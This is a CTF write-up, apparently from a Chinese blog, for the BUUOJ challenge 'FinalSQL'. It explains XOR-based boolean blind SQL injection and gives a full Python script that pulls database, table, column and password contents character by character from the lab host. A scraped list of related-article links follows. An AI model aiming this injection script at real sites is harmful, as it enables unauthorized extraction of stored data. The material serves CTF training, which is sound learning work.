[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

复制代码
?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

复制代码
import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
YGY Webgis糕手之路22 分钟前
Cesium 快速入门(七)材质详解
前端·经验分享·笔记·vue·web
Catfood_Eason42 分钟前
MyBatis与Spring的整合
sql·spring·mybatis
草莓熊Lotso1 小时前
【数据结构初阶】--二叉树(六)
c语言·数据结构·经验分享·笔记·其他
青年夏日科技工作者2 小时前
从 MySQL 迁移到 TiDB:使用 SQL-Replay 工具进行真实线上流量回放测试 SOP
sql·mysql·tidb
图灵学术计算机论文辅导2 小时前
1+1>2!特征融合如何让目标检测更懂 “场景”?
论文阅读·人工智能·经验分享·考研·机器学习·计算机视觉·目标跟踪
麦兜*2 小时前
【HTTP】防XSS+SQL注入:自定义HttpMessageConverter过滤链深度解决方案
java·网络·spring boot·sql·spring·http·xss
瀚高PG实验室3 小时前
HighgoDB查询慢SQL和阻塞SQL
数据库·sql·瀚高数据库
YGY Webgis糕手之路3 小时前
Cesium 快速入门(八)Primitive(图元)系统深度解析
前端·经验分享·笔记·vue·web
晨非辰4 小时前
#C语言——学习攻略:深挖指针路线(五)--回调函数,qsort函数,qsort函数的模拟实现
c语言·开发语言·经验分享·学习·visual studio
hack:D_K4 小时前
网络基础——路由控制
网络·经验分享·笔记·路由